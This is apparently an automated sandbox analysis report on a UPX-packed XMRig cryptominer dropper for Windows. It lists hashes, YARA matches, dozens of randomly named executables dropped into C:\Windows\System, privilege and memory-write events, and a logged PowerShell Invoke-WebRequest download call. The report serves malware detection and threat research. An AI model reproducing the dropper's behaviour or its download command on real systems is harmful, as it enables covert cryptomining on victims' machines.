xmrig | fb08ee20a729aa90eee5fc4f671ef90ab89b28cf1780e5e4ffc9205f1eb81a5b

Analysis

max time kernel
150s
max time network
53s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
28/04/2024, 18:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
Size

1.7MB
MD5

05da1e72c19691b2282fc03657a6a0a4
SHA1

7093c21092f440be2f5790026076fdaf079eb118
SHA256

fb08ee20a729aa90eee5fc4f671ef90ab89b28cf1780e5e4ffc9205f1eb81a5b
SHA512

2822085734e18206af0c4b1df2ba7f384f89177ca86c4ebeb3dc3fca30e8153cc78723fad477749ff1c1fd85f65a2e6f4f0a0e195e759d295e678809838d1295
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pxtU9:NABW

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 34 IoCs

miner

resource	yara_rule
behavioral2/memory/2088-379-0x00007FF6F17F0000-0x00007FF6F1BE2000-memory.dmp	xmrig
behavioral2/memory/1332-442-0x00007FF7B4510000-0x00007FF7B4902000-memory.dmp	xmrig
behavioral2/memory/4300-1705-0x00007FF671B10000-0x00007FF671F02000-memory.dmp	xmrig
behavioral2/memory/2660-1702-0x00007FF76DBA0000-0x00007FF76DF92000-memory.dmp	xmrig
behavioral2/memory/1548-1195-0x00007FF6A3A70000-0x00007FF6A3E62000-memory.dmp	xmrig
behavioral2/memory/3044-970-0x00007FF6C3180000-0x00007FF6C3572000-memory.dmp	xmrig
behavioral2/memory/3808-973-0x00007FF6D4320000-0x00007FF6D4712000-memory.dmp	xmrig
behavioral2/memory/3192-813-0x00007FF618A60000-0x00007FF618E52000-memory.dmp	xmrig
behavioral2/memory/3116-808-0x00007FF7264D0000-0x00007FF7268C2000-memory.dmp	xmrig
behavioral2/memory/4784-764-0x00007FF671960000-0x00007FF671D52000-memory.dmp	xmrig
behavioral2/memory/4084-665-0x00007FF62CF80000-0x00007FF62D372000-memory.dmp	xmrig
behavioral2/memory/1920-378-0x00007FF7FAFB0000-0x00007FF7FB3A2000-memory.dmp	xmrig
behavioral2/memory/4924-328-0x00007FF7E4350000-0x00007FF7E4742000-memory.dmp	xmrig
behavioral2/memory/5036-275-0x00007FF6BC010000-0x00007FF6BC402000-memory.dmp	xmrig
behavioral2/memory/2400-232-0x00007FF779B40000-0x00007FF779F32000-memory.dmp	xmrig
behavioral2/memory/916-186-0x00007FF7FDFC0000-0x00007FF7FE3B2000-memory.dmp	xmrig
behavioral2/memory/336-132-0x00007FF740CC0000-0x00007FF7410B2000-memory.dmp	xmrig
behavioral2/memory/4352-102-0x00007FF72A6B0000-0x00007FF72AAA2000-memory.dmp	xmrig
behavioral2/memory/4300-6182-0x00007FF671B10000-0x00007FF671F02000-memory.dmp	xmrig
behavioral2/memory/916-6186-0x00007FF7FDFC0000-0x00007FF7FE3B2000-memory.dmp	xmrig
behavioral2/memory/1920-6195-0x00007FF7FAFB0000-0x00007FF7FB3A2000-memory.dmp	xmrig
behavioral2/memory/2400-6237-0x00007FF779B40000-0x00007FF779F32000-memory.dmp	xmrig
behavioral2/memory/2088-6288-0x00007FF6F17F0000-0x00007FF6F1BE2000-memory.dmp	xmrig
behavioral2/memory/4924-6280-0x00007FF7E4350000-0x00007FF7E4742000-memory.dmp	xmrig
behavioral2/memory/5036-6236-0x00007FF6BC010000-0x00007FF6BC402000-memory.dmp	xmrig
behavioral2/memory/2660-6338-0x00007FF76DBA0000-0x00007FF76DF92000-memory.dmp	xmrig
behavioral2/memory/1548-6398-0x00007FF6A3A70000-0x00007FF6A3E62000-memory.dmp	xmrig
behavioral2/memory/3808-6452-0x00007FF6D4320000-0x00007FF6D4712000-memory.dmp	xmrig
behavioral2/memory/4784-6407-0x00007FF671960000-0x00007FF671D52000-memory.dmp	xmrig
behavioral2/memory/3192-6376-0x00007FF618A60000-0x00007FF618E52000-memory.dmp	xmrig
behavioral2/memory/3116-6373-0x00007FF7264D0000-0x00007FF7268C2000-memory.dmp	xmrig
behavioral2/memory/3044-6405-0x00007FF6C3180000-0x00007FF6C3572000-memory.dmp	xmrig
behavioral2/memory/1332-6336-0x00007FF7B4510000-0x00007FF7B4902000-memory.dmp	xmrig
behavioral2/memory/4084-6217-0x00007FF62CF80000-0x00007FF62D372000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
4232	vlZCaKL.exe
4352	goWwXeY.exe
336	hOZtWZX.exe
916	FqQzDlI.exe
4300	vWVYuWC.exe
2400	DEvISZO.exe
5036	dPgiobq.exe
4924	WMPXgEd.exe
1920	THSTGYW.exe
2088	TNOoIVK.exe
1332	xSwOOxW.exe
4084	dksGUpo.exe
1628	ggJpztA.exe
4784	fGYNKat.exe
3116	kKOOHfZ.exe
3192	CdePWZZ.exe
3044	FZnvicL.exe
3808	QeOvvAr.exe
1548	onYZmgh.exe
2660	pmPBwjE.exe
5092	gUcfvHw.exe
2616	FgIuPin.exe
4604	ZbxrjSv.exe
5048	zSYOWJq.exe
2572	bOOzjsy.exe
2036	opeNpbh.exe
3732	zJeBOFP.exe
3240	tDlEcYE.exe
2020	VhxhmSA.exe
4648	SQyEfTz.exe
2756	PdnvTZW.exe
1660	QdjDtVA.exe
4104	wsowCVd.exe
2892	HbXcuuL.exe
1116	JotbFhi.exe
4156	CLCDmyY.exe
1756	ZhMPBkA.exe
4956	XyeWRXZ.exe
4228	XJaDZXi.exe
696	JsyFmCZ.exe
3548	jNCIyce.exe
2884	wxpkisN.exe
5116	zfTquXk.exe
4136	gRgQuDj.exe
3684	IVBtjQM.exe
3384	xNqwiWi.exe
1788	dTXLCbr.exe
2316	AIhtAau.exe
1400	DWaReeh.exe
464	EaBshdm.exe
2568	mpKRrWn.exe
936	mYBaEQO.exe
2984	vxIUXGo.exe
4464	wRzSHpa.exe
2816	rMRcOFn.exe
2968	aqndYim.exe
4488	RopkzGT.exe
1932	PTUcxEQ.exe
5064	CUjRAde.exe
4928	KUiGxgV.exe
2080	ksRPict.exe
3168	bMInUyQ.exe
3012	TmdwEDS.exe
2880	yxzYkih.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3700-0-0x00007FF7A3E80000-0x00007FF7A4272000-memory.dmp	upx
behavioral2/files/0x000b000000023b92-5.dat	upx
behavioral2/files/0x000a000000023b97-7.dat	upx
behavioral2/files/0x000a000000023b9b-34.dat	upx
behavioral2/files/0x000a000000023b9a-46.dat	upx
behavioral2/files/0x000a000000023b96-30.dat	upx
behavioral2/files/0x000a000000023b99-29.dat	upx
behavioral2/memory/4232-13-0x00007FF760BF0000-0x00007FF760FE2000-memory.dmp	upx
behavioral2/files/0x000a000000023b98-19.dat	upx
behavioral2/files/0x000a000000023ba1-61.dat	upx
behavioral2/files/0x000a000000023ba9-101.dat	upx
behavioral2/files/0x000a000000023bb2-126.dat	upx
behavioral2/memory/2088-379-0x00007FF6F17F0000-0x00007FF6F1BE2000-memory.dmp	upx
behavioral2/memory/1332-442-0x00007FF7B4510000-0x00007FF7B4902000-memory.dmp	upx
behavioral2/memory/4300-1705-0x00007FF671B10000-0x00007FF671F02000-memory.dmp	upx
behavioral2/memory/2660-1702-0x00007FF76DBA0000-0x00007FF76DF92000-memory.dmp	upx
behavioral2/memory/1548-1195-0x00007FF6A3A70000-0x00007FF6A3E62000-memory.dmp	upx
behavioral2/memory/3044-970-0x00007FF6C3180000-0x00007FF6C3572000-memory.dmp	upx
behavioral2/memory/3808-973-0x00007FF6D4320000-0x00007FF6D4712000-memory.dmp	upx
behavioral2/memory/3192-813-0x00007FF618A60000-0x00007FF618E52000-memory.dmp	upx
behavioral2/memory/3116-808-0x00007FF7264D0000-0x00007FF7268C2000-memory.dmp	upx
behavioral2/memory/4784-764-0x00007FF671960000-0x00007FF671D52000-memory.dmp	upx
behavioral2/memory/4084-665-0x00007FF62CF80000-0x00007FF62D372000-memory.dmp	upx
behavioral2/memory/1920-378-0x00007FF7FAFB0000-0x00007FF7FB3A2000-memory.dmp	upx
behavioral2/memory/4924-328-0x00007FF7E4350000-0x00007FF7E4742000-memory.dmp	upx
behavioral2/memory/5036-275-0x00007FF6BC010000-0x00007FF6BC402000-memory.dmp	upx
behavioral2/memory/2400-232-0x00007FF779B40000-0x00007FF779F32000-memory.dmp	upx
behavioral2/files/0x000a000000023bbf-210.dat	upx
behavioral2/files/0x000a000000023bbe-208.dat	upx
behavioral2/files/0x000a000000023bbb-202.dat	upx
behavioral2/files/0x0031000000023bb6-199.dat	upx
behavioral2/files/0x000a000000023bb5-197.dat	upx
behavioral2/files/0x000a000000023bba-192.dat	upx
behavioral2/memory/916-186-0x00007FF7FDFC0000-0x00007FF7FE3B2000-memory.dmp	upx
behavioral2/files/0x000a000000023bb3-177.dat	upx
behavioral2/files/0x000a000000023ba7-164.dat	upx
behavioral2/files/0x000a000000023ba6-162.dat	upx
behavioral2/files/0x000a000000023ba4-154.dat	upx
behavioral2/files/0x000a000000023bbd-207.dat	upx
behavioral2/files/0x000a000000023b9f-143.dat	upx
behavioral2/files/0x000a000000023bb4-137.dat	upx
behavioral2/files/0x000a000000023bab-193.dat	upx
behavioral2/files/0x000a000000023bb9-191.dat	upx
behavioral2/memory/336-132-0x00007FF740CC0000-0x00007FF7410B2000-memory.dmp	upx
behavioral2/files/0x0031000000023bb8-185.dat	upx
behavioral2/files/0x000a000000023ba8-125.dat	upx
behavioral2/files/0x000a000000023bb1-124.dat	upx
behavioral2/files/0x000a000000023bb0-123.dat	upx
behavioral2/files/0x000a000000023bae-121.dat	upx
behavioral2/files/0x000a000000023ba5-158.dat	upx
behavioral2/files/0x000a000000023ba0-149.dat	upx
behavioral2/files/0x000a000000023ba3-147.dat	upx
behavioral2/files/0x000a000000023b9c-111.dat	upx
behavioral2/files/0x000a000000023baa-110.dat	upx
behavioral2/files/0x000a000000023ba2-107.dat	upx
behavioral2/files/0x000a000000023b9e-105.dat	upx
behavioral2/memory/4352-102-0x00007FF72A6B0000-0x00007FF72AAA2000-memory.dmp	upx
behavioral2/files/0x000a000000023baf-122.dat	upx
behavioral2/files/0x000a000000023b9d-53.dat	upx
behavioral2/memory/4300-6182-0x00007FF671B10000-0x00007FF671F02000-memory.dmp	upx
behavioral2/memory/916-6186-0x00007FF7FDFC0000-0x00007FF7FE3B2000-memory.dmp	upx
behavioral2/memory/1920-6195-0x00007FF7FAFB0000-0x00007FF7FB3A2000-memory.dmp	upx
behavioral2/memory/2400-6237-0x00007FF779B40000-0x00007FF779F32000-memory.dmp	upx
behavioral2/memory/2088-6288-0x00007FF6F17F0000-0x00007FF6F1BE2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\JnKcSSa.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\ISmjDVu.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\kOArGgM.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\jhzmoZv.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\YhZAgmX.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\ynJREbw.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\HOKkaSf.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\HyiclnU.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\tiimUfv.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\dQEKjkj.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\thmWDHe.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\IWpePBL.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\phYzfzh.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\zawnZlR.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\hQcFPsA.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\UTZPfyD.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\gSnDySI.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\kjLVVSM.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\MVThHBq.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\GdVbssH.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\ooMAVtk.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\uDXysWa.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\jNBKwGM.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\baojxhD.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\fzlpdHi.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\clPEmSO.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\zVFMjbb.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\bJQzbBC.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\syJXmJT.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\MZGeVIZ.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\vzHpUVm.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\AiRjjre.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\EjEszlZ.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\ikJyoUV.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\jGgkkwz.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\YmXOKzj.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\OGoJTAD.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\wvIOJgj.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\JBKiQsp.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\XeCiWNH.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\vOcoEPf.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\gXNwMkb.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\hDCZtby.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\hYsrdqc.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\RjIGbUo.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\yCXnofN.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\VOgDRVY.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\wLBHnyI.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\slroOUW.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\GvKNkqi.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\iZWKTro.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\IHsfTie.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\vEwJcWf.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\YaKbamx.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\YlecMZD.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\eqxOCCP.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\yKPkkcR.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\ReVGYjc.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\pzxhhfm.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\bAZVnqw.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\umlQWNY.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\WRVNskW.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\nVThnEH.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
File created	C:\Windows\System\GBfYjyQ.exe	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3040	powershell.exe
3040	powershell.exe
3040	powershell.exe
3040	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeLockMemoryPrivilege	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3700 wrote to memory of 3040	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	84
PID 3700 wrote to memory of 3040	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	84
PID 3700 wrote to memory of 4232	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	85
PID 3700 wrote to memory of 4232	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	85
PID 3700 wrote to memory of 4352	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	86
PID 3700 wrote to memory of 4352	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	86
PID 3700 wrote to memory of 336	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	87
PID 3700 wrote to memory of 336	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	87
PID 3700 wrote to memory of 916	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	88
PID 3700 wrote to memory of 916	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	88
PID 3700 wrote to memory of 4300	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	89
PID 3700 wrote to memory of 4300	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	89
PID 3700 wrote to memory of 2400	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	90
PID 3700 wrote to memory of 2400	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	90
PID 3700 wrote to memory of 5036	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	91
PID 3700 wrote to memory of 5036	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	91
PID 3700 wrote to memory of 4924	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	92
PID 3700 wrote to memory of 4924	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	92
PID 3700 wrote to memory of 1920	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	93
PID 3700 wrote to memory of 1920	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	93
PID 3700 wrote to memory of 2088	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	94
PID 3700 wrote to memory of 2088	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	94
PID 3700 wrote to memory of 4784	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	95
PID 3700 wrote to memory of 4784	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	95
PID 3700 wrote to memory of 1332	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	96
PID 3700 wrote to memory of 1332	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	96
PID 3700 wrote to memory of 4084	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	97
PID 3700 wrote to memory of 4084	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	97
PID 3700 wrote to memory of 1628	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	98
PID 3700 wrote to memory of 1628	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	98
PID 3700 wrote to memory of 3116	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	99
PID 3700 wrote to memory of 3116	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	99
PID 3700 wrote to memory of 3192	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	100
PID 3700 wrote to memory of 3192	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	100
PID 3700 wrote to memory of 3044	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	101
PID 3700 wrote to memory of 3044	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	101
PID 3700 wrote to memory of 3808	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	102
PID 3700 wrote to memory of 3808	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	102
PID 3700 wrote to memory of 1548	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	103
PID 3700 wrote to memory of 1548	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	103
PID 3700 wrote to memory of 3732	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	104
PID 3700 wrote to memory of 3732	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	104
PID 3700 wrote to memory of 2660	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	105
PID 3700 wrote to memory of 2660	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	105
PID 3700 wrote to memory of 5092	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	106
PID 3700 wrote to memory of 5092	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	106
PID 3700 wrote to memory of 2616	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	107
PID 3700 wrote to memory of 2616	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	107
PID 3700 wrote to memory of 4604	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	108
PID 3700 wrote to memory of 4604	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	108
PID 3700 wrote to memory of 5048	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	109
PID 3700 wrote to memory of 5048	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	109
PID 3700 wrote to memory of 2572	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	110
PID 3700 wrote to memory of 2572	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	110
PID 3700 wrote to memory of 2036	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	111
PID 3700 wrote to memory of 2036	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	111
PID 3700 wrote to memory of 3240	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	112
PID 3700 wrote to memory of 3240	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	112
PID 3700 wrote to memory of 2020	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	113
PID 3700 wrote to memory of 2020	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	113
PID 3700 wrote to memory of 4648	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	114
PID 3700 wrote to memory of 4648	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	114
PID 3700 wrote to memory of 1116	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	115
PID 3700 wrote to memory of 1116	3700	05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe	115

C:\Users\Admin\AppData\Local\Temp\05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\05da1e72c19691b2282fc03657a6a0a4_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\System\vlZCaKL.exe
  C:\Windows\System\vlZCaKL.exe
  2⤵
  - Executes dropped EXE
  PID:4232
- C:\Windows\System\goWwXeY.exe
  C:\Windows\System\goWwXeY.exe
  2⤵
  - Executes dropped EXE
  PID:4352
- C:\Windows\System\hOZtWZX.exe
  C:\Windows\System\hOZtWZX.exe
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Windows\System\FqQzDlI.exe
  C:\Windows\System\FqQzDlI.exe
  2⤵
  - Executes dropped EXE
  PID:916
- C:\Windows\System\vWVYuWC.exe
  C:\Windows\System\vWVYuWC.exe
  2⤵
  - Executes dropped EXE
  PID:4300
- C:\Windows\System\DEvISZO.exe
  C:\Windows\System\DEvISZO.exe
  2⤵
  - Executes dropped EXE
  PID:2400
- C:\Windows\System\dPgiobq.exe
  C:\Windows\System\dPgiobq.exe
  2⤵
  - Executes dropped EXE
  PID:5036
- C:\Windows\System\WMPXgEd.exe
  C:\Windows\System\WMPXgEd.exe
  2⤵
  - Executes dropped EXE
  PID:4924
- C:\Windows\System\THSTGYW.exe
  C:\Windows\System\THSTGYW.exe
  2⤵
  - Executes dropped EXE
  PID:1920
- C:\Windows\System\TNOoIVK.exe
  C:\Windows\System\TNOoIVK.exe
  2⤵
  - Executes dropped EXE
  PID:2088
- C:\Windows\System\fGYNKat.exe
  C:\Windows\System\fGYNKat.exe
  2⤵
  - Executes dropped EXE
  PID:4784
- C:\Windows\System\xSwOOxW.exe
  C:\Windows\System\xSwOOxW.exe
  2⤵
  - Executes dropped EXE
  PID:1332
- C:\Windows\System\dksGUpo.exe
  C:\Windows\System\dksGUpo.exe
  2⤵
  - Executes dropped EXE
  PID:4084
- C:\Windows\System\ggJpztA.exe
  C:\Windows\System\ggJpztA.exe
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Windows\System\kKOOHfZ.exe
  C:\Windows\System\kKOOHfZ.exe
  2⤵
  - Executes dropped EXE
  PID:3116
- C:\Windows\System\CdePWZZ.exe
  C:\Windows\System\CdePWZZ.exe
  2⤵
  - Executes dropped EXE
  PID:3192
- C:\Windows\System\FZnvicL.exe
  C:\Windows\System\FZnvicL.exe
  2⤵
  - Executes dropped EXE
  PID:3044
- C:\Windows\System\QeOvvAr.exe
  C:\Windows\System\QeOvvAr.exe
  2⤵
  - Executes dropped EXE
  PID:3808
- C:\Windows\System\onYZmgh.exe
  C:\Windows\System\onYZmgh.exe
  2⤵
  - Executes dropped EXE
  PID:1548
- C:\Windows\System\zJeBOFP.exe
  C:\Windows\System\zJeBOFP.exe
  2⤵
  - Executes dropped EXE
  PID:3732
- C:\Windows\System\pmPBwjE.exe
  C:\Windows\System\pmPBwjE.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System\gUcfvHw.exe
  C:\Windows\System\gUcfvHw.exe
  2⤵
  - Executes dropped EXE
  PID:5092
- C:\Windows\System\FgIuPin.exe
  C:\Windows\System\FgIuPin.exe
  2⤵
  - Executes dropped EXE
  PID:2616
- C:\Windows\System\ZbxrjSv.exe
  C:\Windows\System\ZbxrjSv.exe
  2⤵
  - Executes dropped EXE
  PID:4604
- C:\Windows\System\zSYOWJq.exe
  C:\Windows\System\zSYOWJq.exe
  2⤵
  - Executes dropped EXE
  PID:5048
